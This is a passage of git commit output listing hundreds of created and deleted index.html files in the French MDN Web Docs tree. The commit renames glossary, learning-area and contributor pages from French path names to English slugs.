files/fr/glossary/microsoft_internet_explorer/index.html create mode 100644 files/fr/glossary/middleware/index.html create mode 100644 files/fr/glossary/mime/index.html create mode 100644 files/fr/glossary/mime_type/index.html create mode 100644 files/fr/glossary/minification/index.html create mode 100644 files/fr/glossary/mitm/index.html create mode 100644 files/fr/glossary/mixin/index.html create mode 100644 files/fr/glossary/mobile_first/index.html create mode 100644 files/fr/glossary/modem/index.html create mode 100644 files/fr/glossary/modern_web_apps/index.html create mode 100644 files/fr/glossary/modularity/index.html create mode 100644 files/fr/glossary/mozilla_firefox/index.html create mode 100644 files/fr/glossary/mutable/index.html create mode 100644 files/fr/glossary/mvc/index.html create mode 100644 files/fr/glossary/namespace/index.html create mode 100644 files/fr/glossary/nan/index.html create mode 100644 files/fr/glossary/nat/index.html create mode 100644 files/fr/glossary/native/index.html create mode 100644 files/fr/glossary/navigation_directive/index.html create mode 100644 files/fr/glossary/netscape_navigator/index.html create mode 100644 files/fr/glossary/nntp/index.html create mode 100644 files/fr/glossary/node.js/index.html create mode 100644 files/fr/glossary/node/networking/index.html delete mode 100644 "files/fr/glossary/node/r\303\251seau/index.html" create mode 100644 files/fr/glossary/non-normative/index.html create mode 100644 files/fr/glossary/normative/index.html create mode 100644 files/fr/glossary/null/index.html create mode 100644 files/fr/glossary/number/index.html create mode 100644 files/fr/glossary/object/index.html create mode 100644 files/fr/glossary/object_reference/index.html create mode 100644 files/fr/glossary/oop/index.html create mode 100644 files/fr/glossary/opengl/index.html create mode 100644 files/fr/glossary/openssl/index.html create mode 100644 files/fr/glossary/opera_browser/index.html create mode 100644 files/fr/glossary/operand/index.html create mode 100644 files/fr/glossary/operator/index.html create mode 100644 files/fr/glossary/origin/index.html create mode 100644 files/fr/glossary/ota/index.html create mode 100644 files/fr/glossary/owasp/index.html create mode 100644 files/fr/glossary/p2p/index.html create mode 100644 files/fr/glossary/pac/index.html create mode 100644 files/fr/glossary/packet/index.html create mode 100644 files/fr/glossary/parameter/index.html create mode 100644 files/fr/glossary/parent_object/index.html create mode 100644 files/fr/glossary/parse/index.html create mode 100644 files/fr/glossary/parser/index.html create mode 100644 files/fr/glossary/pdf/index.html create mode 100644 files/fr/glossary/percent-encoding/index.html create mode 100644 files/fr/glossary/php/index.html create mode 100644 files/fr/glossary/pixel/index.html create mode 100644 files/fr/glossary/placeholder_names/index.html create mode 100644 files/fr/glossary/plaintext/index.html create mode 100644 files/fr/glossary/png/index.html create mode 100644 files/fr/glossary/polyfill/index.html create mode 100644 files/fr/glossary/polymorphism/index.html create mode 100644 files/fr/glossary/pop/index.html create mode 100644 files/fr/glossary/port/index.html create mode 100644 files/fr/glossary/preflight_request/index.html create mode 100644 files/fr/glossary/presto/index.html create mode 100644 files/fr/glossary/primitive/index.html create mode 100644 files/fr/glossary/privileged/index.html create mode 100644 files/fr/glossary/privileged_code/index.html create mode 100644 files/fr/glossary/progressive_enhancement/index.html create mode 100644 files/fr/glossary/progressive_web_apps/index.html create mode 100644 files/fr/glossary/promise/index.html create mode 100644 files/fr/glossary/property/css/index.html create mode 100644 files/fr/glossary/protocol/index.html create mode 100644 files/fr/glossary/prototype-based_programming/index.html create mode 100644 files/fr/glossary/prototype/index.html create mode 100644 files/fr/glossary/proxy_server/index.html create mode 100644 files/fr/glossary/pseudo-class/index.html create mode 100644 files/fr/glossary/pseudo-element/index.html create mode 100644 files/fr/glossary/pseudocode/index.html create mode 100644 files/fr/glossary/python/index.html create mode 100644 files/fr/glossary/quality_values/index.html create mode 100644 files/fr/glossary/quic/index.html create mode 100644 files/fr/glossary/rail/index.html create mode 100644 files/fr/glossary/raster_image/index.html create mode 100644 files/fr/glossary/rdf/index.html create mode 100644 files/fr/glossary/real_user_monitoring/index.html create mode 100644 files/fr/glossary/recursion/index.html create mode 100644 files/fr/glossary/reference/index.html create mode 100644 files/fr/glossary/reflow/index.html create mode 100644 files/fr/glossary/regular_expression/index.html create mode 100644 files/fr/glossary/rendering_engine/index.html create mode 100644 files/fr/glossary/repo/index.html create mode 100644 files/fr/glossary/reporting_directive/index.html create mode 100644 files/fr/glossary/request_header/index.html create mode 100644 files/fr/glossary/response_header/index.html create mode 100644 files/fr/glossary/responsive_web_design/index.html create mode 100644 files/fr/glossary/rest/index.html create mode 100644 files/fr/glossary/rgb/index.html create mode 100644 files/fr/glossary/ril/index.html create mode 100644 files/fr/glossary/rng/index.html create mode 100644 files/fr/glossary/robots.txt/index.html create mode 100644 files/fr/glossary/rss/index.html create mode 100644 files/fr/glossary/rtf/index.html create mode 100644 files/fr/glossary/rtl/index.html create mode 100644 files/fr/glossary/rtp/index.html create mode 100644 files/fr/glossary/ruby/index.html create mode 100644 files/fr/glossary/safe/index.html create mode 100644 files/fr/glossary/same-origin_policy/index.html create mode 100644 files/fr/glossary/scm/index.html create mode 100644 files/fr/glossary/scope/index.html create mode 100644 files/fr/glossary/script-supporting_element/index.html create mode 100644 files/fr/glossary/sctp/index.html create mode 100644 files/fr/glossary/sdp/index.html create mode 100644 files/fr/glossary/search_engine/index.html create mode 100644 files/fr/glossary/second-level_domain/index.html create mode 100644 files/fr/glossary/self-executing_anonymous_function/index.html create mode 100644 files/fr/glossary/semantics/index.html create mode 100644 files/fr/glossary/seo/index.html create mode 100644 files/fr/glossary/serialization/index.html create mode 100644 files/fr/glossary/server/index.html create mode 100644 files/fr/glossary/session_hijacking/index.html create mode 100644 files/fr/glossary/sgml/index.html create mode 100644 files/fr/glossary/shim/index.html create mode 100644 files/fr/glossary/signature/function/index.html create mode 100644 files/fr/glossary/signature/index.html create mode 100644 files/fr/glossary/signature/security/index.html create mode 100644 files/fr/glossary/simd/index.html create mode 100644 files/fr/glossary/simple_header/index.html create mode 100644 files/fr/glossary/simple_response_header/index.html create mode 100644 files/fr/glossary/sisd/index.html create mode 100644 files/fr/glossary/site/index.html create mode 100644 files/fr/glossary/site_map/index.html create mode 100644 files/fr/glossary/sld/index.html create mode 100644 files/fr/glossary/sloppy_mode/index.html create mode 100644 files/fr/glossary/slug/index.html create mode 100644 files/fr/glossary/smoke_test/index.html create mode 100644 files/fr/glossary/smtp/index.html create mode 100644 files/fr/glossary/soap/index.html create mode 100644 files/fr/glossary/specification/index.html create mode 100644 files/fr/glossary/speculative_parsing/index.html create mode 100644 files/fr/glossary/sql/index.html create mode 100644 files/fr/glossary/sql_injection/index.html create mode 100644 files/fr/glossary/sri/index.html create mode 100644 files/fr/glossary/ssl/index.html create mode 100644 files/fr/glossary/stacking_context/index.html create mode 100644 files/fr/glossary/state_machine/index.html create mode 100644 files/fr/glossary/statement/index.html create mode 100644 files/fr/glossary/static_typing/index.html create mode 100644 files/fr/glossary/string/index.html create mode 100644 files/fr/glossary/stun/index.html create mode 100644 files/fr/glossary/svg/index.html create mode 100644 files/fr/glossary/svn/index.html create mode 100644 files/fr/glossary/symbol/index.html create mode 100644 files/fr/glossary/synchronous/index.html create mode 100644 files/fr/glossary/syntax/index.html create mode 100644 files/fr/glossary/syntax_error/index.html create mode 100644 files/fr/glossary/tag/index.html create mode 100644 files/fr/glossary/tcp/index.html create mode 100644 files/fr/glossary/tcp_handshake/index.html create mode 100644 files/fr/glossary/tcp_slow_start/index.html create mode 100644 files/fr/glossary/telnet/index.html create mode 100644 files/fr/glossary/texel/index.html create mode 100644 files/fr/glossary/three_js/index.html create mode 100644 files/fr/glossary/time_to_interactive/index.html create mode 100644 files/fr/glossary/tld/index.html create mode 100644 files/fr/glossary/tls/index.html create mode 100644 files/fr/glossary/tofu/index.html create mode 100644 files/fr/glossary/transmission_control_protocol_(tcp)/index.html create mode 100644 files/fr/glossary/tree_shaking/index.html create mode 100644 files/fr/glossary/trident/index.html create mode 100644 files/fr/glossary/truthy/index.html create mode 100644 files/fr/glossary/ttl/index.html create mode 100644 files/fr/glossary/turn/index.html create mode 100644 files/fr/glossary/type/index.html create mode 100644 files/fr/glossary/type_coercion/index.html create mode 100644 files/fr/glossary/type_conversion/index.html create mode 100644 files/fr/glossary/udp/index.html create mode 100644 files/fr/glossary/ui/index.html create mode 100644 files/fr/glossary/undefined/index.html create mode 100644 files/fr/glossary/unicode/index.html create mode 100644 files/fr/glossary/uri/index.html create mode 100644 files/fr/glossary/url/index.html create mode 100644 files/fr/glossary/urn/index.html create mode 100644 files/fr/glossary/usenet/index.html create mode 100644 files/fr/glossary/user_agent/index.html create mode 100644 files/fr/glossary/utf-8/index.html create mode 100644 files/fr/glossary/ux/index.html create mode 100644 files/fr/glossary/validator/index.html create mode 100644 files/fr/glossary/value/index.html create mode 100644 files/fr/glossary/variable/index.html create mode 100644 files/fr/glossary/vendor_prefix/index.html create mode 100644 files/fr/glossary/viewport/index.html create mode 100644 files/fr/glossary/voip/index.html create mode 100644 files/fr/glossary/w3c/index.html create mode 100644 files/fr/glossary/wai/index.html create mode 100644 files/fr/glossary/wcag/index.html create mode 100644 files/fr/glossary/web_server/index.html create mode 100644 files/fr/glossary/web_standards/index.html create mode 100644 files/fr/glossary/webdav/index.html create mode 100644 files/fr/glossary/webextensions/index.html create mode 100644 files/fr/glossary/webgl/index.html create mode 100644 files/fr/glossary/webidl/index.html create mode 100644 files/fr/glossary/webkit/index.html create mode 100644 files/fr/glossary/webm/index.html create mode 100644 files/fr/glossary/webp/index.html create mode 100644 files/fr/glossary/webrtc/index.html create mode 100644 files/fr/glossary/websockets/index.html create mode 100644 files/fr/glossary/webvtt/index.html create mode 100644 files/fr/glossary/whatwg/index.html create mode 100644 files/fr/glossary/whitespace/index.html create mode 100644 files/fr/glossary/world_wide_web/index.html create mode 100644 files/fr/glossary/wrapper/index.html create mode 100644 files/fr/glossary/xforms/index.html create mode 100644 files/fr/glossary/xhr_(xmlhttprequest)/index.html create mode 100644 files/fr/glossary/xhtml/index.html create mode 100644 files/fr/glossary/xinclude/index.html create mode 100644 files/fr/glossary/xlink/index.html create mode 100644 files/fr/glossary/xml/index.html create mode 100644 files/fr/glossary/xpath/index.html create mode 100644 files/fr/glossary/xquery/index.html create mode 100644 files/fr/glossary/xslt/index.html delete mode 100644 files/fr/html/manipulating_video_using_canvas/index.html delete mode 100644 files/fr/inset-block-end/index.html delete mode 100644 files/fr/inset-block-start/index.html delete mode 100644 files/fr/inset-inline-end/index.html delete mode 100644 files/fr/inset-inline-start/index.html delete mode 100644 files/fr/inspecteur_dom/dom_inspector_faq/index.html delete mode 100644 files/fr/inspecteur_dom/index.html delete mode 100644 files/fr/inspecteur_dom/internals/index.html delete mode 100644 files/fr/inspecteur_dom/introduction_to_dom_inspector/index.html delete mode 100644 files/fr/introduction_(alternative)/index.html delete mode 100644 "files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/certificats_et_authentification/index.html" delete mode 100644 "files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/chiffrement_et_d\303\251chiffrement/index.html" delete mode 100644 "files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/gestion_des_certificats/index.html" delete mode 100644 "files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/les_probl\303\250mes_de_s\303\251curit\303\251_sur_internet/index.html" delete mode 100644 "files/fr/introduction_\303\240_la_cryptographie_\303\240_clef_publique/signatures_num\303\251riques/index.html" delete mode 100644 "files/fr/javascript/reference/annexes/fonctionnalit\303\251s_d\303\251pr\303\251ci\303\251es/index.html" delete mode 100644 files/fr/jeux/anatomie/index.html delete mode 100644 files/fr/jeux/exemples/index.html delete mode 100644 files/fr/jeux/index.html delete mode 100644 files/fr/jeux/index/index.html delete mode 100644 files/fr/jeux/introduction/index.html delete mode 100644 files/fr/jeux/introduction_to_html5_game_gevelopment_(summary)/index.html delete mode 100644 files/fr/jeux/publier_jeux/game_monetization/index.html delete mode 100644 files/fr/jeux/publier_jeux/index.html delete mode 100644 "files/fr/la_s\303\251curit\303\251_dans_firefox_2/index.html" create mode 100644 files/fr/learn/accessibility/accessibility_troubleshooting/index.html create mode 100644 files/fr/learn/accessibility/css_and_javascript/index.html create mode 100644 files/fr/learn/accessibility/html/index.html create mode 100644 files/fr/learn/accessibility/index.html create mode 100644 files/fr/learn/accessibility/mobile/index.html create mode 100644 files/fr/learn/accessibility/multimedia/index.html create mode 100644 files/fr/learn/accessibility/wai-aria_basics/index.html create mode 100644 files/fr/learn/accessibility/what_is_accessibility/index.html create mode 100644 files/fr/learn/common_questions/available_text_editors/index.html create mode 100644 files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.html create mode 100644 files/fr/learn/common_questions/common_web_layouts/index.html create mode 100644 files/fr/learn/common_questions/design_for_all_types_of_users/index.html create mode 100644 files/fr/learn/common_questions/how_does_the_internet_work/index.html create mode 100644 files/fr/learn/common_questions/how_much_does_it_cost/index.html create mode 100644 files/fr/learn/common_questions/index.html create mode 100644 files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.html create mode 100644 files/fr/learn/common_questions/set_up_a_local_testing_server/index.html create mode 100644 files/fr/learn/common_questions/thinking_before_coding/index.html create mode 100644 files/fr/learn/common_questions/upload_files_to_a_web_server/index.html create mode 100644 files/fr/learn/common_questions/using_github_pages/index.html create mode 100644 files/fr/learn/common_questions/what_are_browser_developer_tools/index.html create mode 100644 files/fr/learn/common_questions/what_are_hyperlinks/index.html create mode 100644 files/fr/learn/common_questions/what_is_a_domain_name/index.html create mode 100644 files/fr/learn/common_questions/what_is_a_url/index.html create mode 100644 files/fr/learn/common_questions/what_is_a_web_server/index.html create mode 100644 files/fr/learn/common_questions/what_is_accessibility/index.html create mode 100644 files/fr/learn/common_questions/what_software_do_i_need/index.html create mode 100644 files/fr/learn/css/building_blocks/a_cool_looking_box/index.html create mode 100644 files/fr/learn/css/building_blocks/advanced_styling_effects/index.html create mode 100644 files/fr/learn/css/building_blocks/backgrounds_and_borders/index.html create mode 100644 files/fr/learn/css/building_blocks/cascade_and_inheritance/index.html create mode 100644 files/fr/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html create mode 100644 files/fr/learn/css/building_blocks/debugging_css/index.html create mode 100644 files/fr/learn/css/building_blocks/fundamental_css_comprehension/index.html create mode 100644 files/fr/learn/css/building_blocks/handling_different_text_directions/index.html create mode 100644 files/fr/learn/css/building_blocks/index.html create mode 100644 files/fr/learn/css/building_blocks/overflowing_content/index.html create mode 100644 files/fr/learn/css/building_blocks/selectors/attribute_selectors/index.html create mode 100644 files/fr/learn/css/building_blocks/selectors/combinators/index.html create mode 100644 files/fr/learn/css/building_blocks/selectors/index.html create mode 100644 files/fr/learn/css/building_blocks/selectors/pseudo-classes_and_pseudo-elements/index.html create mode 100644 files/fr/learn/css/building_blocks/selectors/type_class_and_id_selectors/index.html create mode 100644 files/fr/learn/css/building_blocks/sizing_items_in_css/index.html create mode 100644 files/fr/learn/css/building_blocks/styling_tables/index.html create mode 100644 files/fr/learn/css/building_blocks/the_box_model/index.html create mode 100644 files/fr/learn/css/building_blocks/values_and_units/index.html create mode 100644 files/fr/learn/css/css_layout/flexbox/index.html create mode 100644 files/fr/learn/css/css_layout/flexbox_skills/index.html create mode 100644 files/fr/learn/css/css_layout/floats/index.html create mode 100644 files/fr/learn/css/css_layout/fundamental_layout_comprehension/index.html create mode 100644 files/fr/learn/css/css_layout/grids/index.html create mode 100644 files/fr/learn/css/css_layout/index.html create mode 100644 files/fr/learn/css/css_layout/introduction/index.html create mode 100644 files/fr/learn/css/css_layout/legacy_layout_methods/index.html create mode 100644 files/fr/learn/css/css_layout/media_queries/index.html create mode 100644 files/fr/learn/css/css_layout/multiple-column_layout/index.html create mode 100644 files/fr/learn/css/css_layout/normal_flow/index.html create mode 100644 files/fr/learn/css/css_layout/positioning/index.html create mode 100644 files/fr/learn/css/css_layout/practical_positioning_examples/index.html create mode 100644 files/fr/learn/css/css_layout/responsive_design/index.html create mode 100644 files/fr/learn/css/css_layout/supporting_older_browsers/index.html delete mode 100644 files/fr/learn/css/first_steps/qu_est_ce_que_css/index.html create mode 100644 files/fr/learn/css/first_steps/what_is_css/index.html create mode 100644 files/fr/learn/css/howto/create_fancy_boxes/index.html create mode 100644 files/fr/learn/css/howto/css_faq/index.html create mode 100644 files/fr/learn/css/howto/generated_content/index.html create mode 100644 files/fr/learn/css/howto/index.html create mode 100644 files/fr/learn/css/index.html create mode 100644 files/fr/learn/css/styling_text/fundamentals/index.html delete mode 100644 files/fr/learn/css/styling_text/initiation-mise-en-forme-du-texte/index.html delete mode 100644 files/fr/learn/css/styling_text/mise_en_forme_des_liens/index.html create mode 100644 files/fr/learn/css/styling_text/styling_links/index.html create mode 100644 files/fr/learn/forms/advanced_form_styling/index.html create mode 100644 files/fr/learn/forms/basic_native_form_controls/index.html create mode 100644 files/fr/learn/forms/form_validation/index.html create mode 100644 files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.html create mode 100644 files/fr/learn/forms/how_to_build_custom_form_controls/example_2/index.html create mode 100644 files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.html create mode 100644 files/fr/learn/forms/how_to_build_custom_form_controls/example_4/index.html create mode 100644 files/fr/learn/forms/how_to_build_custom_form_controls/example_5/index.html create mode 100644 files/fr/learn/forms/how_to_build_custom_form_controls/index.html create mode 100644 files/fr/learn/forms/how_to_structure_a_web_form/example/index.html create mode 100644 files/fr/learn/forms/how_to_structure_a_web_form/index.html create mode 100644 files/fr/learn/forms/html_forms_in_legacy_browsers/index.html create mode 100644 files/fr/learn/forms/index.html create mode 100644 files/fr/learn/forms/property_compatibility_table_for_form_controls/index.html create mode 100644 files/fr/learn/forms/sending_and_retrieving_form_data/index.html create mode 100644 files/fr/learn/forms/sending_forms_through_javascript/index.html create mode 100644 files/fr/learn/forms/styling_web_forms/index.html create mode 100644 files/fr/learn/forms/your_first_form/example/index.html create mode 100644 files/fr/learn/forms/your_first_form/index.html create mode 100644 files/fr/learn/front-end_web_developer/index.html create mode 100644 files/fr/learn/getting_started_with_the_web/css_basics/index.html create mode 100644 files/fr/learn/getting_started_with_the_web/dealing_with_files/index.html create mode 100644 files/fr/learn/getting_started_with_the_web/how_the_web_works/index.html create mode 100644 files/fr/learn/getting_started_with_the_web/html_basics/index.html create mode 100644 files/fr/learn/getting_started_with_the_web/index.html create mode 100644 files/fr/learn/getting_started_with_the_web/installing_basic_software/index.html create mode 100644 files/fr/learn/getting_started_with_the_web/javascript_basics/index.html create mode 100644 files/fr/learn/getting_started_with_the_web/publishing_your_website/index.html create mode 100644 files/fr/learn/getting_started_with_the_web/the_web_and_web_standards/index.html create mode 100644 files/fr/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html create mode 100644 files/fr/learn/html/cheatsheet/index.html create mode 100644 files/fr/learn/html/howto/add_a_hit_map_on_top_of_an_image/index.html create mode 100644 files/fr/learn/html/howto/author_fast-loading_html_pages/index.html create mode 100644 files/fr/learn/html/howto/define_terms_with_html/index.html create mode 100644 files/fr/learn/html/howto/index.html create mode 100644 files/fr/learn/html/howto/use_data_attributes/index.html create mode 100644 files/fr/learn/html/howto/use_javascript_within_a_webpage/index.html create mode 100644 files/fr/learn/html/index.html create mode 100644 files/fr/learn/html/introduction_to_html/advanced_text_formatting/index.html create mode 100644 files/fr/learn/html/introduction_to_html/creating_hyperlinks/index.html create mode 100644 files/fr/learn/html/introduction_to_html/debugging_html/index.html create mode 100644 files/fr/learn/html/introduction_to_html/document_and_website_structure/index.html create mode 100644 files/fr/learn/html/introduction_to_html/getting_started/index.html create mode 100644 files/fr/learn/html/introduction_to_html/html_text_fundamentals/index.html create mode 100644 files/fr/learn/html/introduction_to_html/index.html create mode 100644 files/fr/learn/html/introduction_to_html/marking_up_a_letter/index.html create mode 100644 files/fr/learn/html/introduction_to_html/structuring_a_page_of_content/index.html create mode 100644 files/fr/learn/html/introduction_to_html/the_head_metadata_in_html/index.html create mode 100644 files/fr/learn/html/multimedia_and_embedding/adding_vector_graphics_to_the_web/index.html create mode 100644 files/fr/learn/html/multimedia_and_embedding/images_in_html/index.html create mode 100644 files/fr/learn/html/multimedia_and_embedding/index.html create mode 100644 files/fr/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html create mode 100644 files/fr/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html create mode 100644 files/fr/learn/html/multimedia_and_embedding/responsive_images/index.html create mode 100644 files/fr/learn/html/multimedia_and_embedding/video_and_audio_content/index.html create mode 100644 files/fr/learn/html/tables/advanced/index.html create mode 100644 files/fr/learn/html/tables/basics/index.html create mode 100644 files/fr/learn/html/tables/index.html create mode 100644 files/fr/learn/html/tables/structuring_planet_data/index.html create mode 100644 files/fr/learn/index.html create mode 100644 files/fr/learn/index/index.html create mode 100644 files/fr/learn/javascript/building_blocks/build_your_own_function/index.html create mode 100644 files/fr/learn/javascript/building_blocks/conditionals/index.html create mode 100644 files/fr/learn/javascript/building_blocks/events/index.html create mode 100644 files/fr/learn/javascript/building_blocks/functions/index.html create mode 100644 files/fr/learn/javascript/building_blocks/image_gallery/index.html create mode 100644 files/fr/learn/javascript/building_blocks/index.html create mode 100644 files/fr/learn/javascript/building_blocks/looping_code/index.html create mode 100644 files/fr/learn/javascript/building_blocks/return_values/index.html create mode 100644 files/fr/learn/javascript/client-side_web_apis/client-side_storage/index.html create mode 100644 files/fr/learn/javascript/client-side_web_apis/drawing_graphics/index.html create mode 100644 files/fr/learn/javascript/client-side_web_apis/fetching_data/index.html create mode 100644 files/fr/learn/javascript/client-side_web_apis/index.html create mode 100644 files/fr/learn/javascript/client-side_web_apis/introduction/index.html create mode 100644 files/fr/learn/javascript/client-side_web_apis/manipulating_documents/index.html create mode 100644 files/fr/learn/javascript/client-side_web_apis/third_party_apis/index.html create mode 100644 files/fr/learn/javascript/client-side_web_apis/video_and_audio_apis/index.html create mode 100644 files/fr/learn/javascript/first_steps/arrays/index.html delete mode 100644 files/fr/learn/javascript/first_steps/methode_chaine_utile/index.html delete mode 100644 files/fr/learn/javascript/first_steps/tableaux/index.html create mode 100644 files/fr/learn/javascript/first_steps/test_your_skills_colon__arrays/index.html delete mode 100644 files/fr/learn/javascript/first_steps/testes_vos_competence_colon__tableaux/index.html create mode 100644 files/fr/learn/javascript/first_steps/useful_string_methods/index.html create mode 100644 files/fr/learn/javascript/index.html create mode 100644 files/fr/learn/javascript/objects/adding_bouncing_balls_features/index.html delete mode 100644 "files/fr/learn/javascript/objects/ajouter_des_fonctionnalit\303\251s_\303\240_notre_d\303\251mo_de_balles_rebondissantes/index.html" delete mode 100644 files/fr/learn/javascript/objects/heritage/index.html create mode 100644 files/fr/learn/javascript/objects/inheritance/index.html delete mode 100644 "files/fr/learn/javascript/objects/js_orient\303\251-objet/index.html" delete mode 100644 files/fr/learn/javascript/objects/la_construction_d_objet_en_pratique/index.html create mode 100644 files/fr/learn/javascript/objects/object-oriented_js/index.html create mode 100644 files/fr/learn/javascript/objects/object_building_practice/index.html create mode 100644 files/fr/learn/javascript/objects/object_prototypes/index.html delete mode 100644 files/fr/learn/javascript/objects/prototypes_objet/index.html delete mode 100644 files/fr/learn/performance/pourquoi_performance_web/index.html create mode 100644 files/fr/learn/performance/why_web_performance/index.html create mode 100644 files/fr/learn/server-side/django/generic_views/index.html delete mode 100644 files/fr/learn/server-side/django/vues_generiques/index.html create mode 100644 files/fr/learn/server-side/first_steps/client-server_overview/index.html create mode 100644 files/fr/learn/server-side/first_steps/index.html create mode 100644 files/fr/learn/server-side/first_steps/introduction/index.html create mode 100644 files/fr/learn/server-side/first_steps/web_frameworks/index.html create mode 100644 files/fr/learn/server-side/first_steps/website_security/index.html delete mode 100644 files/fr/learn/server-side/premiers_pas/client-serveur/index.html delete mode 100644 files/fr/learn/server-side/premiers_pas/index.html delete mode 100644 files/fr/learn/server-side/premiers_pas/introduction/index.html delete mode 100644 files/fr/learn/server-side/premiers_pas/web_frameworks/index.html delete mode 100644 files/fr/learn/server-side/premiers_pas/website_security/index.html create mode 100644 files/fr/learn/tools_and_testing/cross_browser_testing/accessibility/index.html delete mode 100644 "files/fr/learn/tools_and_testing/cross_browser_testing/accessibilit\303\251/index.html" create mode 100644 files/fr/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html delete mode 100644 files/fr/learn/tools_and_testing/cross_browser_testing/html_et_css/index.html create mode 100644 files/fr/learn/tools_and_testing/github/index.html create mode 100644 files/fr/learn/tools_and_testing/index.html create mode 100644 files/fr/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html delete mode 100644 files/fr/learn/tools_and_testing/understanding_client-side_tools/ligne_de_commande/index.html delete mode 100644 files/fr/localization/index.html delete mode 100644 files/fr/mdn/a_propos/index.html create mode 100644 files/fr/mdn/about/index.html create mode 100644 files/fr/mdn/at_ten/history_of_mdn/index.html create mode 100644 files/fr/mdn/at_ten/index.html delete mode 100644 "files/fr/mdn/contribute/howto/comment_cr\303\251er_un_compte_sur_mdn/index.html" create mode 100644 files/fr/mdn/contribute/howto/convert_code_samples_to_be_live/index.html delete mode 100644 files/fr/mdn/contribute/howto/convertir_code_pour_etre_direct/index.html create mode 100644 files/fr/mdn/contribute/howto/create_an_interactive_exercise_to_help_learning_the_web/index.html delete mode 100644 files/fr/mdn/contribute/howto/creer_un_exercice_interactif_pour_apprendre_le_web/index.html delete mode 100644 files/fr/mdn/contribute/howto/faire_relecture_redactionnelle/index.html delete mode 100644 files/fr/mdn/contribute/howto/faire_relecture_technique/index.html delete mode 100644 files/fr/mdn/contribute/howto/set_the_summary_for_a_page/index.html delete mode 100644 files/fr/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html delete mode 100644 "files/fr/mdn/contribute/howto/\303\251tiquettes_pages_javascript/index.html" delete mode 100644 files/fr/mdn/editor/basics/index.html delete mode 100644 files/fr/mdn/editor/basics/pieces_jointes/index.html delete mode 100644 files/fr/mdn/editor/index.html create mode 100644 files/fr/mdn/guidelines/code_guidelines/index.html delete mode 100644 files/fr/mdn/guidelines/code_lignesdirectrices/index.html delete mode 100644 files/fr/mdn/kuma/index.html delete mode 100644 "files/fr/mdn/rejoindre_la_communaut\303\251/conversations/index.html" delete mode 100644 "files/fr/mdn/rejoindre_la_communaut\303\251/doc_sprints/index.html" delete mode 100644 "files/fr/mdn/rejoindre_la_communaut\303\251/index.html" delete mode 100644 "files/fr/mdn/rejoindre_la_communaut\303\251/whats_happening/index.html" create mode 100644 files/fr/mdn/structures/compatibility_tables/index.html delete mode 100644 files/fr/mdn/structures/exemples_live/index.html create mode 100644 files/fr/mdn/structures/live_samples/index.html delete mode 100644 "files/fr/mdn/structures/tables_de_compatibilit\303\251/index.html" delete mode 100644 files/fr/mdn/tools/template_editing/index.html delete mode 100644 files/fr/mdn/user_guide/index.html create mode 100644 files/fr/mdn/yari/index.html delete mode 100644 "files/fr/mdn_a_dix_ans/contribuer_\303\240_mdn/index.html" delete mode 100644 files/fr/mdn_a_dix_ans/histoire_mdn/index.html delete mode 100644 files/fr/mdn_a_dix_ans/index.html delete mode 100644 "files/fr/mise_\303\240_jour_des_applications_web_pour_firefox_3/index.html" delete mode 100644 "files/fr/mise_\303\240_jour_des_extensions_pour_firefox_2/index.html" delete mode 100644 "files/fr/mise_\303\240_jour_des_extensions_pour_firefox_3/index.html" create mode 100644 files/fr/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/ajouter_un_bouton_a_la_barre_d_outils/index.html delete mode 100644 "files/fr/mozilla/add-ons/webextensions/ajouter_une_page_de_param\303\250tres/index.html" delete mode 100644 files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/add-ons_for_desktop_apps/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/add-ons_in_the_enterprise/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/sideloading_add-ons/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/browsersettings/proxyconfig/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/eval/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/reload/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.inspectedwindow/tabid/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.network/gethar/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.network/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.network/onnavigated/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.network/onrequestfinished/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/create/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elements/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/createsidebarpane/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/elementspanel/onselectionchanged/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionpanel/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/onhidden/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/onshown/index.html delete mode 100644 files/fr/mozilla/add-ons/webextensions/api/devtools.panels/extensionsidebarpane/setexpression/index.html delete mode 100644 